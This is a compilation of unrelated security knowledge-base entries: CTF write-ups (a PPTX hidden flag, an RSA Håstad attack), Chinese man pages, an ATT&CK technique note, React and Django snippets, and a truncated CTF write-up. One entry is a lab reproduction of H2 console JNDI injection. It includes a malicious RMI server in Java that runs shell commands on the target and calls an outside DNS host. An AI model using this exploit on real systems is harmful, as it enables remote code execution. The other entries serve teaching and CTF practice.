inflating: ppt/slideLayouts/_rels/slideLayout5.xml.rels
inflating: ppt/slideLayouts/_rels/slideLayout6.xml.rels
inflating: ppt/slideLayouts/_rels/slideLayout7.xml.rels
inflating: ppt/slideLayouts/_rels/slideLayout8.xml.rels
inflating: ppt/slideLayouts/_rels/slideLayout9.xml.rels
inflating: ppt/slideLayouts/_rels/slideLayout10.xml.rels
inflating: ppt/slideLayouts/_rels/slideLayout11.xml.rels
inflating: ppt/theme/theme1.xml
extracting: docProps/thumbnail.jpeg
inflating: ppt/vbaProject.bin
inflating: ppt/presProps.xml
inflating: ppt/viewProps.xml
inflating: ppt/tableStyles.xml
inflating: docProps/core.xml
inflating: docProps/app.xml
inflating: ppt/slideMasters/hidden
```
We can't help but notice that the last file is called `ppt/slideMasters/hidden`. What's that?
```console
┌──(user@kali)-[/media/sf_CTFs/pico/MacroHard_WeakEdge]
└─$ cat ppt/slideMasters/hidden
Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q
```
Looks like base64.
```console
┌──(user@kali)-[/media/sf_CTFs/pico/MacroHard_WeakEdge]
└─$ cat ppt/slideMasters/hidden | tr -d " " | base64 -d
flag: picoCTF{D1d_u_kn0w_ppts_r_z1p5}base64: invalid input
```
The flag: `picoCTF{D1d_u_kn0w_ppts_r_z1p5}`
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993-1997 Bell Labs Innovations for Lucent Technologies
'\" Copyright (c) 1997 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: variable.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: variable.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH variable 3tcl 8.0 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
variable \- 建立并初始化一个名字空间变量
.SH "总览 SYNOPSIS"
\fBvariable \fR?\fIname value...\fR? \fIname \fR?\fIvalue\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
通常在 \fBnamespace eval\fR 命令中使用这个命令在一个名字空间中建立一个或多个变量。每个变量 \fIname\fR 都被初始化为 \fIvalue\fR。给最后一个变量的值是可选的。
.PP
如果一个变量 \fIname\fR 不存在，则建立它。在这种情况下，如果指定了 \fIvalue\fR ，它被分配为一个新建的变量。如果未指定 \fIvalue\fR，则保持新变量为未定义。如果变量已经存在，若指定了 \fIvalue\fR 则把它设置为 \fIvalue\fR ，若未给出 \fIvalue\fR 则保持不变。通常的，\fIname\fR 是未被限定的(不包含任何包容它的名字空间的名字)，而变量建立在当前名字空间中。如果 \fIname\fR 包含任何名字空间限定符，则变量建立在指定的名字空间中。如果变量未被定义，它将对 \fBnamespace which\fR 命令是可见的，但对 \fBinfo exists\fR 命令不是。
.PP
如果在一个 Tcl 过程中执行 \fBvariable\fR 命令，它建立连接到相应的名字空间变量的局部变量。在这种方式下 \fBvariable\fR 命令类似于 \fBglobal\fR 命令，但 \fBglobal\fR 命令只连接到在全局名字空间中的变量。如果给出了任何 \fIvalue\fR，使用它们来修改相关的名字空间变量的值。如果一个名字空间变量不存在，则建立它并可选择的初始化它。
.PP
\fIname\fR 参数不能引用在数组中的一个元素。\fIname\fR 应该引用整个数组，并应当去掉初始化的 \fIvalue\fR 。在变量被声明之后，可以使用平常的 \fBset\fR 或 \fBarray\fR 命令来设置数组中的元素。
.SH "参见 SEE ALSO"
global(n), namespace(n), upvar(n)
.SH "关键字 KEYWORDS"
global, namespace, procedure, variable
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/11/20
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# #RSA
Category: Cryptography
## Description
> We found a weird service running on a server in the department of EEvil, please figure out what you can do with it and report back.
## Solution
Let's connect to the attached service:
```console
root@kali:/media/sf_CTFs/technion/RSA# nc ctf.cs.technion.ac.il 4002
n: 24904245536811480409245815675661694392758028535801875721582010703630062060689241495001670757371873406466897114971057189020453405889353660180358623022849563337489982216631221561407540412262569452748267154277277490917762568981187745475595539181984491818099011458803818224835197184619944312913727125534748360824967762514336432782720512334829226762925818732672055624450097154241869490438077155762928696538809337342775462932070792760307344479319791048512438127511689406699405077740114675468248665572333990574065881689695874207920268021779755290642899537740188430821094368283543239570944738809400575523499221327101926751469
e: 3
c: 17418757890010697571225865872375941584583301381739857579693572032253613879799704468931604087165132303326708151578543017525723650255000655408363696646301705641647860286526561302705881670806109372630603991207895863534232235777297707773553105685257850305087618315765930947473893918572132988826725837272436091177144026010394446869408931962876075336973358559743579282351618347472807482456062260159984711293773104029840038291648170784834513165477761041956578892035771199393262672405372137395064135451840177500263853397595864438101040660899758514083011851709595966771419288273214759911967042630654993984455542783352993074440
root@kali:/media/sf_CTFs/technion/RSA# nc ctf.cs.technion.ac.il 4002
n: 21766492699362511113045963253377707237342047729146350396377621200883744137475734074306422185921456718547534492084550522983040126680141640531962919386517294728251442539892800391153093146422874755632895608959236217757093698624433140571646172407649901980624354914303694827325401962301039434061117950004120025054246638948959261719201152348610098890706808570003172782626652454689783487354163015680457501491713316907009060544542406791982635497583670680227224815376808884453682601144290306149460419370708341238202767092111760709490129557357805078948522003155302412183446727057585328931847422421170165984088685464226650513469
e: 3
c: 13276745128708181233099919020835541148036443732725280634028547068521042287643493808431637397725852881021976408292417715216759851157696372441455270459630162406232369293062846735076268682819547000795981352530834751568136570861388869935008221657584227717922753189117746732845879584814041960677694603647749384545011887696963672509586210923407814361678069103156953014875420903283898624171362999298480789195198923694416285972632158619933651186279721560067803559126737079452173361136173533507631528699920900675782785049744700720592339396988859392141807085625955443511539368156057693694129455234413316811430594227628111701437
root@kali:/media/sf_CTFs/technion/RSA# nc ctf.cs.technion.ac.il 4002
n: 18473096353043141605128653663452648416174731299473752106362058603063730284980752397962949879606783777506771253421342413864480457235067674469343553846553026186572911067675554648668993473165030868527062412561071976264934389359293025980676196524714448432571333144690149358258582542172726817402323390753047130442190533806512650463461449072479528455800781856541756664414668969141615567560250895278163378708524136692285506075011171343723100902339041053410054982510909991189736446434444683712265826719445362731072428588091699176245390996228255030441016453511061349239911220896593008184291359123267938548809512240873694221747
e: 3
c: 730014357977750980995622077939235335031193284345639952307731254144597878843149045426798809310771214915202586021638762323363798516003930902151644504161188546194166646290133878065450605398035396147863719373364327329187878729849837805966629458426486701579644025599344374047686327459363672379352004274625688927649388683203175346373929820529966641230555155399130634310816087625135839754124926912574486175520243469707331235697158369885401659131986232527692054579222663269283078960820194472223014573462755208618182521564139347700726774175765476445763039014246617344171324437339209961438562539438096747483478158309795081750
```
We've connected three times, and each time we've gotten a different RSA key with a different ciphertext. Only the exponent stays the same: 3.
This looks like a candidate for the [Håstad's broadcast attack](https://en.wikipedia.org/wiki/Coppersmith%27s_attack#H%C3%A5stad's_broadcast_attack), which can recover the ciphertext if the same message is sent multiple times using the same small public key exponent. [RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) can perform this attack.
First, we create three public keys from the values we've received:
```console
root@kali:/media/sf_CTFs/technion/RSA# ~/utils/RsaCtfTool/RsaCtfTool.py --createpub -e 3 -n 24904245536811480409245815675661694392758028535801875721582010703630062060689241495001670757371873406466897114971057189020453405889353660180358623022849563337489982216631221561407540412262569452748267154277277490917762568981187745475595539181984491818099011458803818224835197184619944312913727125534748360824967762514336432782720512334829226762925818732672055624450097154241869490438077155762928696538809337342775462932070792760307344479319791048512438127511689406699405077740114675468248665572333990574065881689695874207920268021779755290642899537740188430821094368283543239570944738809400575523499221327101926751469 > key1.pub
private argument is not set, the private key will not be displayed, even if recovered.
root@kali:/media/sf_CTFs/technion/RSA# ~/utils/RsaCtfTool/RsaCtfTool.py --createpub -e 3 -n 21766492699362511113045963253377707237342047729146350396377621200883744137475734074306422185921456718547534492084550522983040126680141640531962919386517294728251442539892800391153093146422874755632895608959236217757093698624433140571646172407649901980624354914303694827325401962301039434061117950004120025054246638948959261719201152348610098890706808570003172782626652454689783487354163015680457501491713316907009060544542406791982635497583670680227224815376808884453682601144290306149460419370708341238202767092111760709490129557357805078948522003155302412183446727057585328931847422421170165984088685464226650513469 > key2.pub
private argument is not set, the private key will not be displayed, even if recovered.
root@kali:/media/sf_CTFs/technion/RSA# ~/utils/RsaCtfTool/RsaCtfTool.py --createpub -e 3 -n 18473096353043141605128653663452648416174731299473752106362058603063730284980752397962949879606783777506771253421342413864480457235067674469343553846553026186572911067675554648668993473165030868527062412561071976264934389359293025980676196524714448432571333144690149358258582542172726817402323390753047130442190533806512650463461449072479528455800781856541756664414668969141615567560250895278163378708524136692285506075011171343723100902339041053410054982510909991189736446434444683712265826719445362731072428588091699176245390996228255030441016453511061349239911220896593008184291359123267938548809512240873694221747 > key3.pub
```
All that is left is to trigger the attack:
```console
root@kali:/media/sf_CTFs/technion/RSA# export c1=17418757890010697571225865872375941584583301381739857579693572032253613879799704468931604087165132303326708151578543017525723650255000655408363696646301705641647860286526561302705881670806109372630603991207895863534232235777297707773553105685257850305087618315765930947473893918572132988826725837272436091177144026010394446869408931962876075336973358559743579282351618347472807482456062260159984711293773104029840038291648170784834513165477761041956578892035771199393262672405372137395064135451840177500263853397595864438101040660899758514083011851709595966771419288273214759911967042630654993984455542783352993074440
root@kali:/media/sf_CTFs/technion/RSA# export c2=13276745128708181233099919020835541148036443732725280634028547068521042287643493808431637397725852881021976408292417715216759851157696372441455270459630162406232369293062846735076268682819547000795981352530834751568136570861388869935008221657584227717922753189117746732845879584814041960677694603647749384545011887696963672509586210923407814361678069103156953014875420903283898624171362999298480789195198923694416285972632158619933651186279721560067803559126737079452173361136173533507631528699920900675782785049744700720592339396988859392141807085625955443511539368156057693694129455234413316811430594227628111701437
root@kali:/media/sf_CTFs/technion/RSA# export c3=730014357977750980995622077939235335031193284345639952307731254144597878843149045426798809310771214915202586021638762323363798516003930902151644504161188546194166646290133878065450605398035396147863719373364327329187878729849837805966629458426486701579644025599344374047686327459363672379352004274625688927649388683203175346373929820529966641230555155399130634310816087625135839754124926912574486175520243469707331235697158369885401659131986232527692054579222663269283078960820194472223014573462755208618182521564139347700726774175765476445763039014246617344171324437339209961438562539438096747483478158309795081750
root@kali:/media/sf_CTFs/technion/RSA# ~/utils/RsaCtfTool/RsaCtfTool.py --publickey "key1.pub,key2.pub,key3.pub" --attack hastads --uncipher $c1,$c2,$c3
private argument is not set, the private key will not be displayed, even if recovered.
[*] Multikey mode using keys: key1.pub, key2.pub, key3.pub
[*] Performing hastads attack.
Results for key1.pub,key2.pub,key3.pub:
Unciphered data :
HEX : 0x4d7920667269656e6473206f6620746865206465706172746d656e74206f6620454576696c0a576520637265617465642074686973207365727669636520746f2073707265616420666c61677320616e642066696e616c6c792064657374726f792076616164206d61646d616368210a4865726520616e6f7468657220666c61673a206373746563686e696f6e7b64306e745f336e63727970375f573174685f646966663372336e375f4e7d0a0a4c6f6e67206c697665207468652045456d7069726521
INT (big endian) : 3132885003142236915276407135326599621684031029112740977097919964151992632098465848074475214656916247202716378242592452194335775452342076076535606808258801669687951303323726721880006591144838682165605054606579646404615350292579999242373684736271501760139664991734922853239502427785309606254643932801461751630907597879035853075363089415047448632300007025445307542199951958109161914700194857616238384035540646131140678178489013026299636153697621426843438376375499873242473761
INT (little endian) : 1350489745515449452024592264350242455542847746873501544693324740706538820596057796558574737830317570086592015735561792090222875176636049262251798766296494709461218364854463076405710897568090497343457561073748234581454562000408194052587735293329645226339003865973539943775688120001645892113049966152324116103358974221377625393655903401811809730320701602981512320667100887250537171735664660684548379684015774185243956888623768169647458668091480088190906494945633516302399821
STR : b'My friends of the department of EEvil\nWe created this service to spread flags and finally destroy vaad madmach!\nHere another flag: cstechnion{d0nt_3ncryp7_W1th_diff3r3n7_N}\n\nLong live the EEmpire!'
```
The flag: `cstechnion{d0nt_3ncryp7_W1th_diff3r3n7_N}`
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH UNAME 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
uname \- 输出系统信息
.SH 概述
\fBuname\fP [\fI\,选项\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
输出特定的系统信息。如果没有给定选项，则与 \fB\-s\fP 相同。
.TP
\fB\-a\fP, \fB\-\-all\fP
按照如下所述的顺序输出全部信息，在信息未知的情况下会忽略 \fB\-p\fP 和 \fB\-i\fP 选项：
.TP
\fB\-s\fP, \fB\-\-kernel\-name\fP
输出内核名称
.TP
\fB\-n\fP, \fB\-\-nodename\fP
输出网络节点主机名
.TP
\fB\-r\fP, \fB\-\-kernel\-release\fP
输出内核发行版本
.TP
\fB\-v\fP, \fB\-\-kernel\-version\fP
输出内核版本信息
.TP
\fB\-m\fP, \fB\-\-machine\fP
输出机器硬件名称
.TP
\fB\-p\fP, \fB\-\-processor\fP
输出处理器类型（不可移植）
.TP
\fB\-i\fP, \fB\-\-hardware\-platform\fP
输出硬件平台信息（不可移植）
.TP
\fB\-o\fP, \fB\-\-operating\-system\fP
输出操作系统信息
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 的在线帮助： <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件：您可以自由修改和重新发布它。在法律允许的范围内，不提供任何保证。
.SH 参见
\fBarch\fP(1), \fBuname\fP(2)
.PP
.br
完整文档请见： <https://www.gnu.org/software/coreutils/uname>
.br
或者在本地使用： info \(aq(coreutils) uname invocation\(aq
|
sec-knowleage
|
# T1588-003-获取能力-代码签名证书
## 来自ATT&CK的描述
攻击者可能会购买或窃取代码签名证书，以便在攻击目标中使用。代码签名是对可执行文件和脚本进行数字签名的过程，以确认软件的作者并保证代码没有被改变或破坏。代码签名为程序的开发者提供了一定程度的真实性，并保证程序没有被篡改。用户和安全工具可能比未签名的代码更信任已签名的代码，即使他们不知道谁颁发了证书或谁是作者。
在代码签名之前，攻击者可能会购买或窃取代码签名证书用于操作。购买代码签名证书可以使用一个幌子组织，或使用从以前被攻破的实体中窃取的信息，使攻击者能够以该实体的身份向证书提供商验证。攻击者也可以直接从被攻击的第三方那里窃取代码签名材料。
## 测试案例
暂无
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
### 缓解措施
这种技术不容易用预防控制来缓解，因为它是基于企业防御和控制范围之外的行为。
### 检测
这种活动大多发生在目标组织的可视范围之外，因此很难检测到这种行为。检测工作可能集中在相关的后续行为上，如代码签名或安装根证书。
## 参考推荐
MITRE-ATT&CK-T1588-003
<https://attack.mitre.org/techniques/T1588/003/>
|
sec-knowleage
|
# H2 Database Console 未授权访问
H2 database是一款Java内存数据库，多用于单元测试。H2 database自带一个Web管理页面，在Spirng开发中，如果我们设置如下选项，即可允许外部用户访问Web管理页面，且没有鉴权：
```
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
```
利用这个管理页面，我们可以进行JNDI注入攻击，进而在目标环境下执行任意命令。
参考链接：
- <https://mp.weixin.qq.com/s?__biz=MzI2NTM1MjQ3OA==&mid=2247483658&idx=1&sn=584710da0fbe56c1246755147bcec48e>
## 漏洞环境
执行如下命令启动一个Springboot + h2database环境：
```
docker compose up -d
```
启动后，访问`http://your-ip:8080/h2-console/`即可查看到H2 database的管理页面。
## 漏洞复现
目标环境是Java 8u252，版本较高，因为上下文是Tomcat环境，我们可以参考《[Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)》，使用`org.apache.naming.factory.BeanFactory`加EL表达式注入的方式来执行任意命令。
```java
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
```
我们可以借助这个小工具[JNDI](https://github.com/JosephTribbianni/JNDI)简化我们的复现过程。
首先设置JNDI工具中执行的命令为`touch /tmp/success`：
然后启动`JNDI-1.0-all.jar`，在h2 console页面填入JNDI类名和URL地址：
其中，`javax.naming.InitialContext`是JNDI的工厂类，URL `rmi://evil:23456/BypassByEL`是运行JNDI工具监听的RMI地址。
点击连接后，恶意RMI成功接收到请求：
`touch /tmp/success`已成功执行：
|
sec-knowleage
|
### Hello React
#### 初始化一个项目react-hello
```
create-react-app react-hello
```
**注意**：不要出现项目套项目，仓库套仓库。项目名称不要取包名（react...）。
#### 启动项目
```
npm start
```
成功启动说明项目成功初始化
#### 退出项目
```
ctrl + C
```
#### 修改项目
删除src文件夹重新创建一个src
```
rm -rf src && mkdir src
```
在src下新建一个index.js并返回项目文件夹
```
cd src && touch index.js && cd ..
```
**注意**：命令行下的位置
小贴士：**console.dir()** 详细信息
在index.js中写入下面代码
```
import React from 'react'
import ReactDOM from 'react-dom'
ReactDOM.render(<h1>Hello React</h1>,document.getElementById('root'))
```
启动项目
```
npm start
```
参考网站：[React官网](https://facebook.github.io/react/)
|
sec-knowleage
|
#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'CVE20209402.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
if __name__ == '__main__':
main()
|
sec-knowleage
|
exec
===
调用并执行指定的命令
## 补充说明
**exec命令** 用于调用并执行指令的命令。exec命令通常用在shell脚本程序中，可以调用其他的命令。如果在当前终端中使用命令，则当指定的命令执行完毕后会立即退出终端。
### 语法
```shell
exec(选项)(参数)
```
### 选项
```shell
-c：在空环境中执行指定的命令。
```
### 参数
指令：要执行的指令和相应的参数。
### 实例
首先使用echo命令将文本“Linux C++”进行输出，输入如下命令：
```shell
echo Linux C++ # 输出指定信息
```
执行上面的指令后，输出如下信息：
```shell
Linux C++ # 输出信息
```
然后再使用exec命令调用echo命令输出同样的信息，并且对输出的信息进行对比，输入指令如下所示：
```shell
exec -c echo Linux C++ # 调用命令
```
执行以上命令后，其输出信息如下：
```shell
Linux C++ # 使用指定指令输出信息
```
通过比较两者执行后的结果来看，所实现的功能是相同的，即使用exec命令调用echo命令成功。
|
sec-knowleage
|
# noxtis CTF - 2019
## Background
> noxtis is a collection of challenges dedicated for second year students at Magshimim. Its goal is to further expose the students to the world of cyber security through a variety of security challenges in different areas of the realm.
## Storyline
> Last Saturday Nahman, the creator of noxale, was hit with a pulse of nostalgy and decided to binge all of Star Wars movies in just one day.
While he was enjoying the movie with a large bowl of popcorn and a monster-sized cola cup, one character really spoke to Nahman's heart - Darth Vader.
Nahman was inspired by him so much that it made him turn to the dark side and unite with Darth Vader by becoming a "black hat" with the sole goal of
conquering the universe; which wasn't that realistic, so he decided to hack into the IDF's computers and steal some important intel along with buying
all the Star Wars merchendise he could with Jack's credit card (Star Wars plushies are very comfortable). Overwhelmed by the amount data he managed to
lay his hands on, Nahman has decided to sell all the data to Iran's government, for a humble price of 2,147,483,647 bitcoin. Iran's government was
really really realllyyyy busy because Ruhani had a meni-pedi appointment he just couldn't resist, so they decided to make
the data exchange is ETA 8 hours from now.
YOU MUST STOP HIM TUN TUN TUUUUUUN
## Challenges
The CTF starts with the following link:
https://drive.google.com/file/d/1wwZ4c9ri-JaVTdl8S2Ng8Fx8PqfbBoWr/view
The link leads to a Google Drive file called `I_challenge_you.zip`.
Let's try to unzip it:
```console
root@kali:/media/sf_CTFs/noxtis# unzip I_challenge_you.zip
Archive: I_challenge_you.zip
End-of-central-directory signature not found. Either this file is not
a zipfile, or it constitutes one disk of a multi-part archive. In the
latter case the central directory and zipfile comment will be found on
the last disk(s) of this archive.
note: I_challenge_you.zip may be a plain executable, not an archive
unzip: cannot find zipfile directory in one of I_challenge_you.zip or
I_challenge_you.zip.zip, and cannot find I_challenge_you.zip.ZIP, period.
root@kali:/media/sf_CTFs/noxtis# file I_challenge_you.zip
I_challenge_you.zip: data
```
The file is not a legal zip file. Let's peek at the contents:
```console
root@kali:/media/sf_CTFs/noxtis# xxd I_challenge_you.zip | head
00000000: 0000 0000 0a00 0000 0000 67b5 3e4e 0000 ..........g.>N..
00000010: 0000 0000 0000 0000 0000 1000 0000 495f ..............I_
00000020: 6368 616c 6c65 6e67 655f 796f 752f 504b challenge_you/PK
00000030: 0304 1400 0000 0800 cab9 3e4e cc4f 0cbc ..........>N.O..
00000040: 651d 0000 2846 0000 1d00 0000 495f 6368 e...(F......I_ch
00000050: 616c 6c65 6e67 655f 796f 752f 7265 7665 allenge_you/reve
00000060: 7273 696e 672e 6578 65ed 7b7b 7853 d795 rsing.exe.{{xS..
00000070: ef96 2c19 616c 8e68 6cea 101c 4e5a 9bd8 ..,.al.hl...NZ..
00000080: 051c 8957 6cc0 a984 6572 9cc8 60c0 06ca ...Wl...er..`...
00000090: cb96 65c9 7691 2521 1d81 c903 4c64 939c ..e.v.%!....Ld..
```
It does have the `PK` signature resembling zip files, but the signature is not at the correct location (the beginning of the file).
We can either try to fix the zip file, or just try our luck with `binwalk`:
```console
root@kali:/media/sf_CTFs/noxtis# binwalk -e I_challenge_you.zip
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
46 0x2E Zip archive data, at least v2.0 to extract, compressed size: 7525, uncompressed size: 17960, name: I_challenge_you/reversing.exe
7630 0x1DCE Zip archive data, at least v2.0 to extract, compressed size: 480, uncompressed size: 935, name: I_challenge_you/rsa.txt
```
We got a Windows executable and a text file.
Let's start from the text file:
```console
root@kali:/media/sf_CTFs/noxtis# cat _I_challenge_you.zip.extracted/I_challenge_you/rsa.txt
c=62094327354293714871337806608043143339672711375275261525243238242322194473023610842261452370807533140129255594935713596899492336925573500404508972313463258470764117200138784924348362580128423518572743446058119722861164424364186271770831857887818550880280385895469933434901508250872871673722739401583613920865
N=102518413348128616948064302091615267327586561544914497024946023154172320251650248158262401038211060025769143033483116931749752882566368072181993447378932810603880706573407783516535716219705301632360773290434984792276962906314924125193872533986871367036809927042370179209563059349511562287725586162360516841779
d=90575112832191634931822012293951618304193311969935139031973154594700485026947413962490036848108653090804963912366135718482295366073482828257042351498160831683665400283336482471506944874247073018050011183570224881323949477869741822928092177900190031155493051065073868895195339892585741809998466654281718606993
```
We have `c`, `N` and `d` - this looks like RSA.
In order to decrypt an RSA message, we use the following formula:
```
M ≡ C^d (mod n)
```
In Python, that translates to:
```python
